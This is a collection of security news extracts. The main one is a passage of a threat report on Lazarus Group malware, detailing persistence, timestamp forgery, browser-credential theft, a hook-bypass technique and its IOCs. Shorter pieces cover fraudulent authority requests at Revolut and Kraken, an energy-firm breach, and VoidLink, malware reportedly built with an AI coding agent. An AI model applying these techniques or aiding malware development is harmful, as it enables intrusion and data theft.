PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79 . While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module. Command Role 42 Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/ 43 Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument 44 Get information about the specified directory 45 Get information about the specified drive 46 Inject the provided DLL payload into the target process 47 Unload the specified DLL from the specified process 48 Implementation of the ipconfig command 49 Implementation of the net command 50 Implementation of the netsh advfirewall firewall command 51 Implementation of the netstat command 52 Implementation of the ping -6 command 53 Implementation of the reg command 54 Implementation of the sc command 55 Implementation of the ping command 56 Implementation of the whoami command 57 Implementation of the nslookup command 58 Implementation of the schtasks command 59 Implementation of the systeminfo command 60 Implementation of the arp command 61 Call the CryptUnprotectData function to retrieve the AES key that DPAPI protects. Extract the key using the encrypted_key keyword from Chromium’s Local State file located at: %LOCALAPPDATA%\Google\Chrome\User Data\Local State 62 Not implemented 63 Not implemented 64 Read the specified file and decrypt it using an XOR operation with the key 0x59 . Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/ 65 ~ 79 Not implemented Besides the modules, we also observed that the actor deployed various plugins and tools. Type of payload Name Description Plugin ADFinder ( AdFinder.dll ) Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names Plugin FileCollector ( Dll.dll ) Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each Tool Browser stealer Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies Tool Process collector Iterates over all running processes, collecting each process’s ID, path, and command line TouchHub installs a service for TouchShift During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe , registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis. It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost . It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service . The newly created service is started immediately. Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges. Path Type Description C:\Windows\System32\RasConv\ImeBroker.exe Executable file registered as a service Copied from C:\Windows\System32\printfilterpipelinesvc.exe C:\Windows\System32\RasConv\mscoree.dll Side-loaded TouchShift payload Dropped by TouchHub. It contains encrypted payloads and includes portions of a legitimate DLL’s contents, which significantly inflates its size C:\Windows\System32\RasConv\ActivationStore.dat TechHub’s configuration file Dropped by TouchHub after extracting configuration values TouchShift, a prevalent loader employed across multiple infection chains The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post , even sharing the same malicious export function, LockClrVersion . It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes ( \x00 ); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was: Argument: -TimeBroker\x00\x00\x00\x00\x00 (padded with NULL) Hard-coded XOR key: x809G736iC3f8Wp8 Executable filename: ImeBroker.exe\x00\x00\x00 (padded with NULL) After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration. ClientHub We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials. Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group. To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64. Offset Size Field value 0 4 Current process ID 4 4 First four bytes of the decrypted C2 server information. 8 7 Randomly generated bytes 15 1 Calculated flag value that indicates a state machine . 16 8 Current system time, represented as a FILETIME structure. 24 8 Randomly generated bytes The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA , Sec-CH-UA-Platform , Sec-CH-UA-Mobile , Sec-Fetch-Mode , and Sec-Fetch-Dest . These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body. struct header { int has_more_data // whether more body data remains int body_checksum;// ROR13 checksum for the body data int body_type; // specifies the body type int unknown; int body_length; // Length of the body data int IV[2]; // Random IV used to encrypt the body data }; The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1 , 0x2 , 0x4 , etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload. The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once. Bitmask Value in decimal Description Result sent to the C2 0x00000001 1 DLL loading: load the received body reflectively along with the provided parameter The payload’s image base 0x00000011 3 Plugin: load the received body reflectively, obtain the address of a function in the payload, and then invoke that function along with the provided parameter The payload’s image base, the address of the invoked function, and the execution result 0x00000101 5 Plugin: load the received body reflectively, obtain the address of a function in the payload, but refrain from invoking it immediately The payload’s image base, the address of the function 0x00001011 11 Plugin: execute the behavior associated with value 3, then unload immediately after invoking the plugin – 0x00010001 17 DLL loading: load the received body reflectively with the provided parameter, maintaining stateful communication via a persistent interactive session using a shared buffer The payload’s image base, the address of the interactive shared buffer, and the execution result The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1 , 3 , or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently. Bitmask Value in decimal Description Result sent to the C2 0x00000010 2 Invoke the previously loaded DLLs and plugins along with the provided parameter The execution result 0x00000100 4 Not implemented – 0x00001000 8 Unload the previously loaded DLLs and plugins The execution result 0x00010000 16 Send the updated parameter to the payload loaded by the command with the value 17, and exchange data through the interactive session. This command also determines whether to retrieve the execution result or unload the payload The execution result Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub. Plugin Description File archiver Archives the provided file using the legacy ZipCrypto algorithm (without password protection) and returns the compressed data File collector Searches for all files matching the provided search pattern and collects metadata including filename, MAC timestamps, file size, and attribute values File cleaner Overwrites the provided file with NULL bytes, renames it to a randomly generated filename of the same length, and then deletes it. If a directory with a search pattern is provided, it locates all matching files, renames each to a randomly generated name of identical length to its original name, and deletes them Drive and session monitor Monitors remote session changes and local drive changes for the provided duration (in 10-minute intervals) and returns the collected status information In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism. LPEClient LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020 . Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day. LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment. Timeline of LPEClient The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes. It does not collect the version of the ntoskrnl.exe file by querying the FileVersion value. Instead, depending on the specific build, it reads either the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR registry key or the SYSTEM_BUILD_VERSION_INFORMATION structure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level. To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads C:\Windows\System32\wbem\Repository\OBJECTS.DATA and searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products. It also collects low‑level Windows security mitigation states. To achieve this, it queries the SYSTEM_KERNEL_VA_SHADOW_INFORMATION structure for the Kernel VA Shadow mitigation status and the SYSTEM_SHADOW_STACK_INFORMATION structure for the Shadow Stack (CET) protection status. Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message. The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption. Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads. The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 256-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5) . The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ' , which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server. Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook. We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows. Data relay flow between LPEClient and C2 via ClientHub Comparison of plugins and modules Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools. Deployed via Type of payload Family TechHub/Cubridge Tool Process collector, Browser stealer Cubridge Module Action module, Function module Cubridge Plugin ADFinder, FileCollector ClientHub Plugin File archiver, File collector, File cleaner, Drive/session monitor These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016. Infrastructure Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion. For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel. Victims We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected. The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks. Attribution and links to other campaigns Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment. The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023. We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus. Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole. As AhnLab noted in their report , the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration. Data leakage site linked to the COPPERHEDGE backdoor on the dark web Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack. Overlaps between the recent attacks by Lazarus Group Conclusion Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software. We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals. In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated. Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*. Indicators of compromise File hashes TouchShift ec84d6cb2ae7974767aedac246b50a3e              mscoree.dll a28cba214058fcae2883d8cffc883abd                 mscoree.dll c105d6b16f544582772de0159f24c00a                mscoree.dll 2f8475a90a25624ed02f1d18d4e6d65d               mscoree.dll 676fabe30a28b53925fba98e34b35986               mscoree.dll b4a7eff35f048f06fb0a2d7631f23a7d                   mscoree.dll ClientHub Loader ff07641dc56914dd90ee0bd7404d7ad7                liblzma.dll File paths C:\ProgramData\Dell\Dell1.tmp C:\ProgramData\Dell\Dell3.tmp C:\ProgramData\Package.txt C:\ProgramData\RasConv\mscoree.dll C:\ProgramData\Apple\mscoree.dll C:\ProgramData\ssh\mscoree.dll C:\ProgramData\qorestor\mscoree.dll C:\ProgramData\Dell\mscoree.dll C:\ProgramData\Dell\Dell1.tmp C:\ProgramData\Dell\Dell3.tmp C:\Windows\System32\RasConv\mscoree.dll C:\Windows\System32\RasConv\ActivationStore.dat C:\Windows\System32\DrvConh\mscoree.dll C:\Windows\System32\DrvConh\ActivationStore.dat C:\Program Files\Common Files\System\msadc\msadc.inc C:\ProgramData\desktops.ini C2 servers javadevhouse.co[.]kr pythonapischool[.]com hxxps://cubedesign[.]co[.]kr/news             C2 of Cubridge hxxps://cubedesign[.]co[.]kr/mobile/fashion             C2 of Cubridge hxxps://fp-news[.]co[.]kr/shop/cart                                 C2 of Cubridge hxxps://k-wbc[.]co[.]kr/skin/social/social_view.php          C2 of ClientHub hxxps://rcsh[.]co[.]kr/modules/bbs/tiles/bbs_div/inputForm.php     C2 of ClientHub hxxps://www[.]ksog[.]org/insert_file/handle.php                    C2 of ClientHub
securelist.comOct 21, 2026extracted
Da “27 wallet a 27 superfici di attacco”: un’analisi dei casi Revolut e Kraken
Banche, exchange e fintech sotto pressione attraverso false richieste apparentemente provenienti dalle autorità: il caso Revolut, il precedente Kraken, gli attori coinvolti, l’amplificazione pubblica e le implicazioni politico-normative Autori: Olivia Terragni , Edoardo Faccioli , Luca Stivali , Raffaella Crisci L’analisi è stata sviluppata nell’ambito del Dark Lab di Red Hot Cyber . L’intero report può essere scaricato qui sotto: il fascicolo ricostruisce due casi concreti — l’incidente Revolut (2026) e il precedente Kraken (2025) — allo scopo di trasformare l’analisi dell’attacco in uno strumento operativo di difesa. 27 Wallet 27 superfici di attacco Download I casi Revolut e Kraken: la vulnerabilità è sistemica Il caso Revolut conferma che ogni infrastruttura nazionale di identità — PEC, SPID, wallet eIDAS — è una superficie di attacco all’interno di un’architettura di fiducia globale. La vulnerabilità dell’UE non è tecnica, ma sistemica: un singolo canale nazionale compromesso può esporre dati e utenti in tutto lo spazio finanziario europeo. L’utente @StarryCook su X, nei primi giorni dell’incidente ha sintetizzato bene la posta in gioco:: « 27 wallets d’identité = 27 surfaces d’attaque. La fuite Revolut me le confirme : la souveraineté se joue dans l’exploitation ». Ogni Stato membro è un nodo di fiducia, e ogni nodo è un potenziale punto di rottura. La sovranità digitale non si misura nelle dichiarazioni di principio, ma nella capacità operativa di usare — o abusare di — queste infrastrutture di fiducia. Chi sa sfruttare un canale PEC compromesso, un wallet nazionale o un processo di verifica ha più potere reale di chi si limita a proclamare la propria sovranità tecnologica. Il caso Revolut è la prova concreta: un solo canale nazionale è bastato per colpire una piattaforma globale ed esporre cittadini di molti Paesi UE. Ci troviamo oggi di fronte ad un caso che non è soltanto un “data breach” nel senso classico: è un caso di social engineering tramite abuso di un canale istituzionale  e possibile fallimento dei controlli di verifica delle richieste . Revolut ha dichiarato che i fondi dei clienti e i propri sistemi non risultavano compromessi, ma che dei dati sensibili sono stati consegnati a una parte non autorizzata dopo richieste fraudolente apparentemente provenienti da un dominio governativo legittimo (Reuters, 12/09/2026). Il caso potrebbe inserirsi in uno s chema più ampio di abuso delle caselle istituzionali e dei processi con cui banche, exchange e fintech rispondono alle richieste delle autorità. Ma non è il solo. Nel 2025, secondo un atto processuale depositato in California (John Doe v. Payward, Inc. d/b/a Kraken, San Francisco Superior Court, CGC‑26‑634771, marzo 2026), criminali hanno inviato a Kraken almeno tre email provenienti da un indirizzo sul dominio  @interno.it , presentandole come richieste di un’agenzia di law enforcement italiana. Kraken ha risposto a queste email e ha divulgato dati sensibili del cliente (nome, data di nascita, indirizzo, numeri di telefono, informazioni sull’account), che sono poi stati usati per una campagna di estorsione con minacce fisiche Nel 2026, lo schema sarebbe proseguito attraverso una PEC riconducibile alla Prefettura di Reggio Calabria e documenti presentati come Ordini europei di indagine. Nel caso Revolut, le ricostruzioni giornalistiche indicano che richieste fraudolente sarebbero state utilizzate per ottenere, anche per un periodo prolungato, fascicoli KYC di clienti ad alto patrimonio selezionati attraverso informazioni pubbliche sulla blockchain. Questi elementi suggeriscono una possibile continuità operativa, ma il collegamento tra i diversi episodi resta un’ipotesi da verificare. Gli attori (IAmNotAVillain, Revolut Smilik) sono poi passati all’estorsione e alla pubblicazione dei dati e un casinò crypto (Duel) nel frattempo ha ottenuto un contatto privilegiato con l’ hacker , mentre fornitori, media e account terzi hanno continuato ad amplificare la vicenda. Gli attaccanti hanno successivamente trasformato l’operazione in un’attività di estorsione e pubblicazione di dati, aumentando l’impatto attraverso leak, canali online, media e soggetti terzi. Il punto di arrivo è politico-normativo: Lyudmyla Kozlovska , attivista ucraina per i diritti umani e presidente della  Open Dialogue Foundation (ODF) ha usato il caso come prova che la verifica delle richieste statali è impossibile e che le regole FATF, antiriciclaggio e DAC8 vanno cambiate. Le sue dichiarazioni sono rilevanti sul dibattito su verifica delle richieste statali, e i temi sulla cooperazione giudiziaria e la repressione finanziaria transnazionale. In entrambi gli scenari, i dati sensibili dei clienti sono diventati una leva di attacco senza alcuna violazione diretta dei sistemi informatici. Nel caso Revolut, la compromissione è avvenuta tramite richieste falsificate inviate da una casella PEC istituzionale; nel caso Kraken, tramite l’abuso di accessi interni ai sistemi di supporto. Al centro di questo report vi è un paradosso normativo : le informazioni che le direttive KYC e AML obbligano a raccogliere per tutelare il sistema (identità, documenti, transazioni) sono le stesse che, se consegnate alla parte sbagliata, espongono irrimediabilmente l’utente. Da qui la doppia natura del documento: un’analisi fattuale degli eventi e un framework di riferimento per gli operatori finanziari. Il vettore di attacco e la cronologia dell’incidente Il vettore d’attacco primario è l’abuso del canale fiduciario. Le richieste malevole sfruttano l’implicita fiducia riposta nel mittente ufficiale (PEC, email di enti governativi, o spoofing telefonico). Tra la ricezione della richiesta e l’invio dei dati si apre una falla critica di processo. Verificare una richiesta proveniente dalle autorità è complesso, stretto tra l’obbligo normativo di collaborazione rapida e la mancanza di strumenti per un’autenticazione certa. A ciò si somma l’errore umano: in almeno un passaggio documentato, i dati sono stati trasmessi rispondendo direttamente all’indirizzo compromesso, senza l’attivazione di canali di verifica indipendenti (es. out-of-band ). Si tratta di fallimenti procedurali. In una catena di fiducia tra autorità pubbliche e istituti finanziari, quali controlli spettavano a ciascun anello — l’ente titolare del canale, la banca che divulga i dati, il quadro normativo che regola le richieste — e quali sono venuti meno?” Sebbene la compromissione tecnica riguardi il mittente, le normative (a partire dal GDPR) pongono in capo all’istituto finanziario, in quanto titolare del trattamento, una responsabilità qualificata sui dati dei clienti — pur senza escludere quella degli altri anelli della catena. Questo impone alle banche l’obbligo di implementare verifiche procedurali indipendenti : in almeno un passaggio documentato, invece, i dati sono stati trasmessi rispondendo direttamente all’indirizzo compromesso, senza attivare protocolli di autenticazione out-of-band (come una verifica telefonica tramite contatti ufficiali). Questo limite dei controlli tradizionali di fronte ad attacchi basati su credenziali istituzionali rubate (es. via infostealer ) sta forzando un cambio di paradigma nel settore. Un caso emblematico è l’integrazione della Dark Web Intelligence nei processi di Anti-Financial Crime . La recente partnership strategica tra Nasdaq Verafin e Q6 Cyber evidenzia la necessità sistemica di monitorare attivamente l’underground criminale per intercettare le fughe di dati in via preventiva, colmando proprio quella “zona grigia” procedurale sfruttata nei casi qui analizzati. L’ultimo anello della catena è l ‘impatto reputazionale . Il dato sottratto viene impiegato non solo come merce nel mercato underground , ma come leva estorsiva: richieste di riscatto pubbliche e pressioni mediatiche su istituti esposti sui mercati dei capitali (quotazioni, listing , fiducia degli investitori). Poiché l’esecutore tecnico dell’attacco, l’estorsore e l’amplificatore mediatico non coincidono necessariamente, il report mantiene separati questi livelli, lasciando aperta l’attribuzione del movente.  Il perimetro metodologico si basa esclusivamente su fonti aperte ( OSINT /CTI). Ogni affermazione è accompagnata da un livello di confidenza analitica (Alta, Media, Bassa), separando i fatti comprovati dalle dichiarazioni degli attori di minaccia, che sono trattate come fonti di parte e non come prove. Nessun dato personale delle vittime è riprodotto. Infine, l’analisi solleva un interrogativo strategico di fondo: cui prodest? Il bersaglio reale di queste campagne è il database dell’istituto finanziario — per la mera monetizzazione dei dati — o la catena di fiducia stessa tra autorità pubbliche e soggetti privati? La distinzione non è secondaria: se l’obiettivo fosse il canale, e non il singolo record, il danno andrebbe letto su un piano sistemico — dubbio strutturale, collaborazione più lenta tra law enforcement e banche, l’obbligo di compliance che si ribalta in superficie di vulnerabilità — una dinamica che eccederebbe la semplice estorsione. È un’ipotesi da tenere aperta, non una conclusione: i reperti disponibili non permettono di stabilire se si tratti di monetizzazione opportunistica o di un bersaglio deliberato del canale fiduciario. Il documento non ha finalità accusatorie né stabilisce responsabilità legali; laddove i fatti non risultino accertati, lo dichiara esplicitamente. Trattandosi di un panorama di minaccia dinamico, il presente lavoro è da considerarsi in continua evoluzione. Buona lettura. L'articolo Da “27 wallet a 27 superfici di attacco”: un’analisi dei casi Revolut e Kraken proviene da Red Hot Cyber .
redhotcyber.comSep 21, 2026extracted
Australian energy provider Origin says data breach exposes client data
Australian energy provider Origin Energy has confirmed a data breach by an unknown threat actor that exposed customers' personally identifiable information (PII). The company has 4.8 million customers and is currently investigating how many of them have been impacted to inform them of the risk via individual notifications. Origin Energy is Australia’s largest energy retailer, providing electricity, natural gas, and broadband internet services to millions of clients across the country. The company is listed on the ASX, has annual revenue of $8.5 billion, and holds a 20% ownership stake in the UK’s renewable energy retailer Octopus. Yesterday, Origin announced that it had launched an investigation into “a potential security incident that may involve unauthorized access to some customers’ data.” An update published today confirms a data breach, listing the following data types as potentially exposed: Full name Physical address Date of birth Phone number Account information Last four digits of credit card Last three digits of bank account The company noted that the exposed financial details are “incomplete” and cannot be used to hijack accounts or make unauthorized charges to clients’ bank accounts. Origin CEO, Frank Calabria, apologized to customers for the sensitive data being exposed, and assured them that the company is taking steps to block further unauthorized access. Also, confirmed impacted clients are being contacted directly and offered support via a dedicated portal and related resources. Origin has informed the Australian Federal Police (AFP), the Australian Cyber Security Centre, and the Office of the Australian Information Commissioner about the incident, and continues to engage with the agencies as needed. Hackers claim large-scale data theft Local media outlet 7news reported that before Origin Energy released its second statement, a threat actor identifying as “John Doe” contacted them to claim the breach. The threat actor alleged to be holding the data types for 2 million Origin customers. The hacker claimed that they contacted security teams, customer support, and even board executives, without receiving a response. The hacker has set up a site where he threatens to leak the stolen data in two weeks unless Origin contacts them via Signal to negotiate a solution. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJul 23, 2026extracted
VoidLink Linux Malware Framework Built with AI Assistance Reaches 88,000 Lines of Code
The recently discovered sophisticated Linux malware framework known as VoidLink is assessed to have been developed by a single person with assistance from an artificial intelligence (AI) model. That's according to new findings from Check Point Research, which identified operational security blunders by malware's author that provided clues to its developmental origins. The latest insight makes VoidLink one of the first instances of an advanced malware largely generated using AI. "These materials provide clear evidence that the malware was produced predominantly through AI-driven development, reaching a first functional implant in under a week," the cybersecurity company said, adding it reached more than 88,000 lines of code by early December 2025. VoidLink, first publicly documented last week, is a feature-rich malware framework written in Zig that's specifically designed for long-term, stealthy access to Linux-based cloud environments. The malware is said to have come from a Chinese-affiliated development environment. As of writing, the exact purpose of the malware remains unclear. No real-world infections have been observed to date. A follow-up analysis from Sysdig was the first to highlight the fact that the toolkit may have been developed with the help of a large language model (LLM) under the directions of a human with extensive kernel development knowledge and red team experience, citing four different pieces of evidence - Overly systematic debug output with perfectly consistent formatting across all modules Placeholder data ("John Doe") is typical of LLM training examples embedded in decoy response templates Uniform API versioning where everything is _v3 (e.g., BeaconAPI_v3, docker_escape_v3, timestomp_v3) Template-like JSON responses covering every possible field "The most likely scenario: a skilled Chinese-speaking developer used AI to accelerate development (generating boilerplate, debug logging, JSON templates) while providing the security expertise and architecture themselves," the cloud security vendor noted late last week. Check Point's Tuesday report backs up this hypothesis, stating it identified artifacts suggesting that the development in itself was engineered using an AI model, which was then used to build, execute, and test the framework – effectively turning what was a concept into a working tool within an accelerated timeline. "The general approach to developing VoidLink can be described as Spec Driven Development (SDD)," it noted. "In this workflow, a developer begins by specifying what they're building, then creates a plan, breaks that plan into tasks, and only then allows an agent to implement it." It's believed that the threat actor commenced work on the VoidLink in late November 2025, leveraging a coding agent known as TRAE SOLO to carry out the tasks. This assessment is based on the presence of TRAE-generated helper files that have been copied along with the source code to the threat actor's server and later leaked in an exposed open directory. In addition, Check Point said it uncovered internal planning material written in Chinese related to sprint schedules, feature breakdowns, and coding guidelines that have all the hallmarks of LLM-generated content -- 